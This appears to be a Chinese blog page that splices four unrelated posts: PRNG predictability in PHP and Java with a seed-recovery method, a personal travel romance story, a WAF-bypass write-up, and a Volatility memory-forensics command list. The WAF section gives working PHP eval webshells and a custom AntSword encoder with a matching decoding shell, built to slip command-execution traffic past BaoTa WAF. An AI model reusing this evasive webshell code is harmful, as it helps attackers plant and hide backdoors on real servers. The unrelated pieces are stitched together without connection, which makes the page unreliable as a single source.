伪随机数

伪随机数

伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。常见的有php伪随机数和java伪随机数。

PHP伪随机数

主要由两个函数组成

mt_scrand() //播种 Mersenne Twister 随机数生成器。
mt_rand()   //生成随机数

mt_scrand()通过seed分发种子,有了种子以后,通过mt_rand()生成伪随机数

我们测试入如下代码

<?php  
mt_srand(1);  
echo mt_rand()."###";
echo mt_rand()."###";
echo mt_rand()."###";
?>  
<?php  
mt_srand(1);  
echo mt_rand()."###";
echo mt_rand()."###";
?> 

会得到如下的结果

895547922###2141438069###1546885062###  
895547922###2141438069### 

很明显,当我们发现种子不变时,实际上生成的伪随机数是不变的,这就是伪随机数的漏洞所在。

mt_rand源码简要分析

通过mt_rand源码分析理解为什么mt_rand()只播种一次

/ext/standard/rand.c中可以看到,播完种后,将会将 mt_rand_is_seeded 的值设置为1,因此mt_rand只播种一次

mt_rand1

攻击方法

Java伪随机数

以java为例,强伪随机数RNG实现java.security.SecureRandom类,该类使用临时文件夹中大小,线程休眠时间等的值作为随机数种子;而弱伪随机数实现PRNGjava.util.Random类,默认使用当前时间作为种子,并且采用线性同余法计算下一个随机数。

我们测试如下代码

import java.util.Random;

public class rand{
    public static void main(String[] args){
        Random r1 = new Random(1);
        System.out.println("r1.nextInt(12) = " + r1.nextInt(12));

        Random r2 = new Random(1);
        System.out.println("r2.nextInt(12) = " + r2.nextInt(12));
    }
}

会得到如下结果

r1.nextInt(12) = 9
r2.nextInt(12) = 9

很明显,无论执行多少次,代码的结果不会改变。Random生成的随机数是伪随机数。

java.util.Random的可预测性

调用random.nextInt方法生成三个连续的随机数,要求根据前两个随机数去预测第三个随机数

查看源代码,可以看见直接调用的next方法,传递的参数是32

java_random1> * 追踪next方法,可以看到前一个随机数种子(oldseed)和后一个随机数种子(nextseed)都被定义为long类型,方法返回的值就是下一个种子右移16位后强制转换int的结果

java_random2

while里的compareAndSet方法只是比较当前的种子值是否为oldseed,如果是的话就更新为nextseed,一般情况下都会返回true

下一个种子的更新算法就在do-while循环里面:nextseed = (oldseed * multiplier + addend) & mask,种子的初始值是将当前系统时间带入运算得到的结果

返回开头的类定义可以看到这几个常量属性的值

java_random3

这个种子的更新算法本质上就是一个线性同余生成器

线性同余生成器(LCG)

LCG的公式如下:

LCG

和上面的代码对比可以看出是基本一致的,因为和mask常量做与运算就相当于是舍弃高位,保留2进制的低47位,也就相当于模2的48次方。我们既然都有了常量的值了,就可以去做第三个随机数的预测了。

预测方法

如果把生成第一个随机数的种子定义为seed1,seed2,seed3往后顺延的话,seed1右移16位就是第一个随机数的值,说明第一个随机数丢了16位,导致seed1就有2的16次方种可能。

把2的16次方种可能带入计算下一个seed2,并且右移查看是否和第二个随机数的值相等就能确定是否正确的找到了seed1。

如果前两个数是正数,但第三个数是负数,只需要对得到的补码再求一次补码即可,也就是取反后加1。

大学期间最美好的一个瞬间

大学的时候,去过一次黄山。

在登山入口处看见一个漂亮的女孩,长腿,纤细,长发披肩。

我当时在买雨衣,再一抬头,女孩进山了,看不到了。

。。。。。。

一个人登山其实挺累的。

中途我和那个女孩偶遇过几次。

要么是我扶着墙壁在缓一口气,要么是她坐在长椅上歇息。

实在是有点累,没有搭讪的力气,

在接近光明顶的地方,又一次遇上了,她已经把头发扎成马尾辫了。

她看见了我,我也看见了她。

视线交汇时,

我向她苦笑一声,她愣了一下,随后眼神示意了下山顶的方向,一脸无奈地耸了耸肩。

随后她先走了。

。。。。。。

登上山顶后,下了小雨,视线有点朦胧,加上人多,都穿着雨衣,没能找到那个女孩,有点惋惜。

。。。。。。

第二天去了宏村,

这里风景不错,依山傍水,粉墙青瓦。

不过双腿又酸又痛,就准备看看巷子然后就走。

。。。。。。

小巷的尽头有家玉石店,我饶有兴趣地走了进去。

里面摆满了各种石头,正当我一个个打量的时候,一个俏丽的身影走了进来。我下意识地看了一眼,是她!那个女孩!

她扎了个丸子头,背个小小的书包。

她似乎没有注意到我,进了店。

指着玻璃柜里的一对红色的石头,转头问站在门口的店员:“能问一下,这是什么石头吗?”

也许是每天问的人多了,也许站在门口有些听不清楚,店员并没有回身。

“鸡血石。”我接了一句。

她转过身,看了我一眼,又回去看那对鸡血石。

她:“好漂亮~这两个都是吗?”

我看了一下门口的店员,应该是没有听到。

我:“左边的是天然的,右边似乎是人工的。”

她转身看着我,两眼放光:“哎,怎么辨别的?”

我笑了笑,“你看上面的‘血迹’像什么?”

“嗯。。。有点像。。。花瓣?”她拿不准地回答道。

“啪。”我打了个响指,“没错哦,这块石头上的鲜红血点,就像无数片艳丽的桃花花瓣漂在一愁清水之中,所以又叫‘桃花冻’。”

她似乎想笑,“桃花冻,好好听的名字。”

我看着她:“去喝杯饮料吗?”

她:“好呀。”

小巷里的人有点多,似乎是旅游团。

和她并肩走,能够感受到她那娇小的身躯。

出了巷子口,走来一对外国人,应该是夫妻俩。

女人手里拿着一张地图,迎向她。是问路的。

她很熟练流畅地指明了方向。

不过当老外问到附近的一家面馆在哪里的时候,她卡住了,抬头看向我。

我无奈地笑笑:“Sorry,I don't know.I just come here for traveling.”我又指着前面那个队伍里的导游,“Oh,can you see that man with a red cap?He may know the answer.”

末了,女人打趣我:“Hey boy!She is a nice girl.”女人旁边的男的还朝我挤挤眼。

我摇了摇头,瞥了一眼,她没什么表情。

。。。。。。

端着饮料坐下来,她面带痛苦地喔了一声。

我:“你第一次单独爬山吗?”

她挺惊讶的,“你怎么知道?”

我:“因为我的腿也特别酸。”

她咬着吸管,一下子笑了,“原来你也是第一次。我当时在山上见你,还以为你是老手呢。”

我摇了摇头:“我们应该最后爬山的,不然腿酸得其他地方去不了。”

她:“嗯嗯,有道理哎。”

我:“你是哪里人?”

她:“苏州,不过现在在南京上学。”

我:“我也在南京哦。呆久了,发现南京话挺好玩的。”

她:“哈哈,我也感觉。你知道第一天上课我老师怎么夸我的吗?”

我把吸管戳进我的饮料里,“说我听听。”

她:“归归,蛮莱斯的嘛。”

哈哈哈,她学得特别像

我:“南京的美食也不错。不过今早上在这里吃的烧饼也好棒!”

似乎提到食物,她眼睛亮了:“是不是中国银行那条路上的烧饼摊?”

我点点头。

她:“那个呀,太好吃了,我第一次知道放辣的烧饼那么好吃!”

我:“我记得苏州的蟹膏黄也特别棒!”

她:“有机会到苏州,我可以带你去哦~平江路上我特别熟。”

我吸了一口,觉得饮料好甜。

得知了她学的是金融专业,快要毕业了,她也知道我是一名理工男。

。。。。。。

随后她要去前面的地方寄明信片,我也跟着去看看。

店门口有几枝竹子,旁边有个水坛,刚下过雨,绿色的竹影印在坛子里。

推门进去,人不多。

到了柜子前,她带着意味深长的眼神看了我一眼,在一张明信片上写下:竹叶坏水色,郎亦坏人心

她的字很好看,秀气,透着一股舒畅。

写完递给我:“送你咯。”

我心里却和被堵着一样,不知道该如何向她解释,随即当着不明白的意思,把明信片收下了。

这算是一句好话,她夸我风度好;

这也不算是一句好话,她有种担心的意思。

瞬间有了一种怜爱。

。。。。。。

末了,出了门,临走和她互加了微信。

yu. 昵称和微信号都有这个拼音。

我问她:“子非鱼安知鱼之乐的鱼嘛?”

她:“不是哦,生死不渝的渝。”

嗯,很好听,看来她的名字里也应该有个 字。

。。。。。。

晚上回宾馆后,突然想起个事,给她发消息:“你买回南京的车票了吗?”

就这样,返程的时候和她坐在了一起。

路上,她掏出手机,给我看她拍的照片,一张一张地翻着,每张照片上面的姑娘都笑得特别灿烂。

其中,有一张中年夫妻俩的照片,漫天星星,似乎是在湖边,两人笑得很开心。

我指着,问她,“是你的爸爸妈妈吗?”

她:“对,有一次他们两个晚上出去玩,在一个湖边,看到了星星的倒影,觉得很符合一句诗,就把照片拍下来了。”

我:“挺浪漫的,不过我真的猜不出来这句诗。”

她:“桂棹兮兰桨,击空明兮溯流光。渺渺兮予怀,望美人兮天一方。”

我看了看照片,似乎天上的星星和湖水相连,真的美极了。

“你爸爸妈妈也是挺有意思的人。”

“我有机会可以带你去见见他们,他们两个可是一见如故哦!当时。。。。。。”

这次我没等她说完,“一见如故。天公弄巧两心连,一见如故尽欢颜。

她抬头看了我一眼,眼眸里似乎也有着星光荡漾。

。。。。。。

我忽然想起她送我的那句诗,正起身子。

我:“你刚才第一句是认真的?”

她:“你不是?”

我:“你知道的,我是学理出身,并不会说什么好听的话。”

她:“嗯,没关系。”

我:“那当初你送我的那首。。。”

没等我说完,她打断我:“我不担心了。”

我也说了,好。

车前坐着几位大妈,她们聊着暴涨的房价。房价真的是一个有感染力的词,顿时整车的人都在聊着这个话题。

也许是兴致暴涨,大妈回过头:“小年轻哦,你俩结婚要早点买房哦~”

她秀气的脸上泛起红晕,却没有说话。

我回过头,脑海里只留下那一眼初时的惊艳。

。。。。。。

回到南京后的第一个晚上,我收到了她的消息 :

  • 天不绝人愿,终使侬见郎。

。。。。。。

你问我后来呀,

后来她经历了论文被刁难,在我怀里哭;去见了家长,满脸骄傲;工作不顺利,辞职回来考研。。。。。。

我呢,在随后的几年里,站过领奖台,也熬过很多的夜,最后也算顺利地向更上一层迈进。

当时她打电话祝贺我,问了我一句:“你难道还要继续读博吗?”

我:“怎么了?”

她:“人家就是想一直和你在一起嘛。”

我:“那好啊,那你来考我的研究生。我保证不让你毕业。”

她:“讨厌~ 。。。。。。”

所以,你要问我最美好的一瞬间是什么?

我要告诉你,

不是领奖台下满座的欢呼,

也不是顺利毕业时导师的祝贺,

而是那一天,

在回南京的车上,

看见

她那羞红的脸庞。

更美好的是,

她,

一直在我身旁。

过WAF的小思路

过WAF的小思路

前言

最近在学习了一波CMS漏洞,要了授权,看了几个站,有宝塔WAF。。。向WHOAMI大佬取经回来后,绕过了一个WAF。觉得是时候要认真总结一下了:)

前期的过程

网站采用的是ThinkCMF这款CMS,ThinkCMF某些版本是存在缓存Getshell这样的一个漏洞,payload我就不放了,大家要遵守相应的法律法规哦! :)

按照payload,直接打的话,访问白屏还兴奋了一下,结果一执行shell就触发宝塔WAF。。。更别说蚁剑连接了。。。

WAF会对部分函数进行了过滤,所以直接打payload肯定是不行的,因此我们需要对蚁剑的流量特征进行混淆加密

一个正常的shell如下:

<?php @eval($_POST['hack']);?>但是这样的shell特征太明显了,肯定会被拦截的,所以我们要学会骚一点

比如说<?php @eval(base_decode($_POST['test']));?>

让我们将phpinfo();base64加密后POST传参,就可以正常执行phpinfo了

但是。。。

cmd命令执行

但是蚁剑连接shell爆红了。。。

明明写进去了,也能phpinfo,但是蚁剑连接错误,为什么呢???

其实,我们可以先学一下蚁剑流量的相关知识

首先看看蚁剑的base64编码器结构:

'use strict';

/*

 @param  {String} pwd   连接密码
 @param  {Array}  data  编码器处理前的 payload 数组
@return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ##########    请在下方编写你自己的代码   ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ##########    请在上方编写你自己的代码   ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

解释一下:

pwd:  类型是String, 这个是 shell 的连接密码

data: 类型是 Array, 这个是要发送的 HTTP POST 数据包

Buffer.from(data['_']).toString('base64') 将data['_']中的代码读取并进行base64编码,然后下面的 data[pwd] 以参数的形式传递到服务器,解码后shell代码便会执行。虽然data['_']中的代码进行过base64编码,但是data[pwd] 是作为参数传递的,所以在流量中的 data[pwd] 仍是明文传输。

而且,蚁剑在对data进行编码时会增加一定长度的随机字符,但是cmd命令无论增加多长的字符Y21K这个特征字符也始终会被识别到

那该怎么办呢???

WAF拦了蚁剑发送的其它参数时怎么操作 (qq.com)

从这篇大佬的文章好好学习了一下,其中一种方法大佬是通过遍历data的其他参数,并Hex编码了data的值。

解码器内容:

*/
'use strict';

module.exports = (pwd, data) => {
  let ret = {};
  for (let _ in data) {
    if (_ === '_') { continue };
    ret[_] = Buffer.from(data[_]).toString('hex');
  }
  ret[pwd] = Buffer.from(data['_']).toString('hex');
  return ret;
}

因为蚁剑是默认会对data的值进行一次base64加密,所以我们可以再base64加密一次并增添点data的值:)

比如像这样:

let ret = {};
for (let _ in data)
{
if (_ === '_')
{ continue; }
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'andynoel1234' + ret[_];
ret[_] += 'andynoel1234';
}

同时,我们所写的shell也不能那么简单的啦,所以也得相应地稍微修改一下:

<?php
foreach($_POST as $k=>$v){$_POST[$k]=base64_decode(str_replace('andynoel1234','',$v));}
@eval($_POST['hack']);
?>

在第一次POST时进行抓包,去掉我们另外加入的data值,比如说上面的andynoel1234

然后对剩下的内容执行两次base64解码,再试一下蚁剑成功连接,就可以执行cmd命令了。

电子数据取证学习–Volatility

Volatility取证分析工具

关于工具

Kali安装

sudo apt-get install volatility
volatility -h
# 部分报错可能kali版本过低

常用模块

插件名称 功能
amcache 查看AmCache应用程序痕迹信息
apihooks 检测内核及进程的内存空间中的API hook
atoms 列出会话及窗口站atom表
atomscan Atom表的池扫描(Pool scanner)
auditpol 列出注册表HKLMSECURITYPolicyPolAdtEv的审计策略信息
bigpools 使用BigPagePoolScanner转储大分页池(big page pools)
bioskbd 从实时模式内存中读取键盘缓冲数据(早期电脑可以读取出BIOS开机密码)
cachedump 获取内存中缓存的域帐号的密码哈希
callbacks 打印全系统通知例程
clipboard 提取Windows剪贴板中的内容
cmdline 显示进程命令行参数
cmdscan 提取执行的命令行历史记录(扫描_COMMAND_HISTORY信息)
connections 打印系统打开的网络连接(仅支持Windows XP 和2003)
connscan 打印TCP连接信息
consoles 提取执行的命令行历史记录(扫描_CONSOLE_INFORMATION信息)
crashinfo 提取崩溃转储信息
deskscan tagDESKTOP池扫描(Poolscaner)
devicetree 显示设备树信息
dlldump 从进程地址空间转储动态链接库
dlllist 打印每个进程加载的动态链接库列表
driverirp IRP hook驱动检测
drivermodule 关联驱动对象至内核模块
driverscan 驱动对象池扫描
dumpcerts 提取RAS私钥及SSL公钥
dumpfiles 提取内存中映射或缓存的文件
dumpregistry 转储内存中注册表信息至磁盘
editbox 查看Edit编辑控件信息 (Listbox正在实验中)
envars 显示进程的环境变量
eventhooks 打印Windows事件hook详细信息
evtlogs 提取Windows事件日志(仅支持XP/2003)
filescan 提取文件对象(file objects)池信息
gahti 转储用户句柄(handle)类型信息
gditimers 打印已安装的GDI计时器(timers)及回调(callbacks)
gdt 显示全局描述符表(Global Deor Table)
getservicesids 获取注册表中的服务名称并返回SID信息
getsids 打印每个进程的SID信息
handles 打印每个进程打开的句柄的列表
hashdump 转储内存中的Windows帐户密码哈希(LM/NTLM)
hibinfo 转储休眠文件信息
hivedump 打印注册表配置单元信息
hivelist 打印注册表配置单元列表
hivescan 注册表配置单元池扫描
hpakextract 从HPAK文件(Fast Dump格式)提取物理内存数据
hpakinfo 查看HPAK文件属性及相关信息
idt 显示中断描述符表(Interrupt Deor Table)
iehistory 重建IE缓存及访问历史记录
imagecopy 将物理地址空间导出原生DD镜像文件
imageinfo 查看/识别镜像信息
impscan 扫描对导入函数的调用
joblinks 打印进程任务链接信息
kdbgscan 搜索和转储潜在KDBG值
kpcrscan 搜索和转储潜在KPCR值
ldrmodules 检测未链接的动态链接DLL
lsadump 从注册表中提取LSA密钥信息(已解密)
machoinfo 转储Mach-O 文件格式信息
malfind 查找隐藏的和插入的代码
mbrparser 扫描并解析潜在的主引导记录(MBR)
memdump 转储进程的可寻址内存
memmap 打印内存映射
messagehooks 桌面和窗口消息钩子的线程列表
mftparser 扫描并解析潜在的MFT条目
moddump 转储内核驱动程序到可执行文件的示例
modscan 内核模块池扫描
modules 打印加载模块的列表
multiscan 批量扫描各种对象
mutantscan 对互斥对象池扫描
notepad 查看记事本当前显示的文本
objtypescan 扫描窗口对象类型对象
patcher 基于页面扫描的补丁程序内存
poolpeek 可配置的池扫描器插件
printkey 打印注册表项及其子项和值
privs 显示进程权限
procdump 进程转储到一个可执行文件示例
pslist 按照EPROCESS列表打印所有正在运行的进程
psscan 进程对象池扫描
pstree 以树型方式打印进程列表
psxview 查找带有隐藏进程的所有进程列表
qemuinfo 转储Qemu 信息
raw2dmp 将物理内存原生数据转换为windbg崩溃转储格式
screenshot 基于GDI Windows的虚拟屏幕截图保存
servicediff Windows服务列表(ala Plugx)
sessions _MM_SESSION_SPACE的详细信息列表(用户登录会话)
shellbags 打印Shellbags信息
shimcache 解析应用程序兼容性Shim缓存注册表项
shutdowntime 从内存中的注册表信息获取机器关机时间
sockets 打印已打开套接字列表
sockscan TCP套接字对象池扫描
ssdt 显示SSDT条目
strings 物理到虚拟地址的偏移匹配(需要一些时间,带详细信息)
svcscan Windows服务列表扫描
symlinkscan 符号链接对象池扫描
thrdscan 线程对象池扫描
threads 调查_ETHREAD 和_KTHREADs
timeliner 创建内存中的各种痕迹信息的时间线
timers 打印内核计时器及关联模块的DPC
truecryptmaster 恢复TrueCrypt 7.1a主密钥
truecryptpassphrase 查找并提取TrueCrypt密码
truecryptsummary TrueCrypt摘要信息
unloadedmodules 打印卸载的模块信息列表
userassist 打印注册表中UserAssist相关信息
userhandles 转储用户句柄表
vaddump 转储VAD数据为文件
vadinfo 转储VAD信息
vadtree 以树形方式显示VAD树信息
vadwalk 显示遍历VAD树
vboxinfo 转储Virtualbox信息(虚拟机)
verinfo 打印PE镜像中的版本信息
vmwareinfo 转储VMware VMSS/VMSN 信息
volshell 内存镜像中的shell
windows 打印桌面窗口(详细信息)
wintree Z顺序打印桌面窗口树
wndscan 池扫描窗口站
yarascan 以Yara签名扫描进程或内核内存

常用命令

功能 命令行及参数
查看进程列表 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 pslist
查看进程列表(树形) Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 pstree
查看进程列表(psx视图) Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 psxview
查看网络通讯连接 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 netscan
查看加载的动态链接库 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 dlllist
查看SSDT表 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 ssdt
查看UserAssist痕迹 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 userassist
查看ShimCache痕迹 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 shimcache
查看ShellBags Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 shellbags
查看服务列表 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 svcscan
查看Windows帐户hash Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 hashdump
查看最后关机时间 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 shutdowntime
查看IE历史记录 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 iehistory
提取注册表数据 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 dumpregistry
解析MFT记录 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 mftparser
导出MFT记录,恢复文件 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 mftparser –output-file=mftverbose.txt -D mftoutput
获取TrueCrypt密钥信息 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 truecryptmaster
获取TrueCrypt密码信息 Vol.exe -f Win7_SP1_x86.vmem –profile=Win7SP1x86 truecryptpassphras

参考文章

DumpIt.exe 进程(opens new window)

Volatility基本介绍(opens new window)

基本命令(opens new window)

组合命令(opens new window)

进阶命令(opens new window)

基础题型和基本取证(opens new window)

利用Volatility进行Windows内存取证分析(opens new window)

windows取证(opens new window)

内存取证(opens new window)